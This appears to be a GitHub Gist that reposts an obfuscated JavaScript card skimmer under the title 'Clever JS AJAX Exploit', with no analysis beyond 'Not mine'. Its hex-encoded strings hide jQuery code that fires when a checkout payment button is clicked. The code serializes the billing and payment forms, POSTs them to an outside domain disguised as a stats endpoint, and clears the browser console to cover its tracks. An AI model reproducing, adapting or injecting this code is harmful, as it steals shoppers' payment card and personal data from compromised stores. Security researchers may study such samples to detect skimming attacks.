Skip to content

Instantly share code, notes, and snippets.

@bkozora
Last active August 29, 2015 14:27
Show Gist options
  • Select an option

  • Save bkozora/0f55f0372e0fbc58fc13 to your computer and use it in GitHub Desktop.

Select an option

Save bkozora/0f55f0372e0fbc58fc13 to your computer and use it in GitHub Desktop.
Clever JS AJAX Exploit
/*
* Not mine
*/
var _0x22dd = [
"\x63\x6F\x6E\x73\x6F\x6C\x65",
"\x6C\x6F\x67",
"\x66\x69\x72\x65\x62\x75\x67",
"\x63\x6C\x65\x61\x72",
"\x73\x65\x72\x69\x61\x6C\x69\x7A\x65",
"\x23\x63\x6F\x2D\x62\x69\x6C\x6C\x69\x6E\x67\x2D\x66\x6F\x72\x6D",
"\x23\x63\x6F\x2D\x70\x61\x79\x6D\x65\x6E\x74\x2D\x66\x6F\x72\x6D",
"\x26\x62\x62\x3D",
"\x26\x66\x72\x6F\x6D\x3D\x77\x68\x65\x61\x74\x6F\x6E\x2E\x63\x6F\x6D",
"\x50\x4F\x53\x54",
"\x2F\x2F\x73\x75\x70\x65\x72\x6D\x6F\x6D\x65\x6E\x74\x65\x2E\x64\x65\x2F\x73\x74\x61\x74\x73\x2F\x73\x74\x61\x74\x73\x2E\x70\x68\x70",
"\x61\x6A\x61\x78",
"\x63\x6C\x69\x63\x6B",
"\x23\x70\x61\x79\x6D\x65\x6E\x74\x2D\x62\x75\x74\x74\x6F\x6E\x73\x2D\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72"
];
function clearconsole() {
console[_0x22dd[1]](window[_0x22dd[0]]);
if (window[_0x22dd[0]] || window[_0x22dd[0]][_0x22dd[2]]) {
console[_0x22dd[3]]()
};
}
jQuery(function() {
jQuery(_0x22dd[13])[_0x22dd[12]](function(_0x308bx2) {
var _0x308bx3 = jQuery(_0x22dd[5])[_0x22dd[4]]();
var _0x308bx4 = jQuery(_0x22dd[6])[_0x22dd[4]]();
var _0x308bx5 = _0x308bx3 + _0x22dd[7] + _0x308bx4 + _0x22dd[8];
jQuery[_0x22dd[11]]({
type: _0x22dd[9],
async: true,
url: _0x22dd[10],
data: _0x308bx5,
success: function(_0x308bx6) {}
});
clearconsole();
})
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment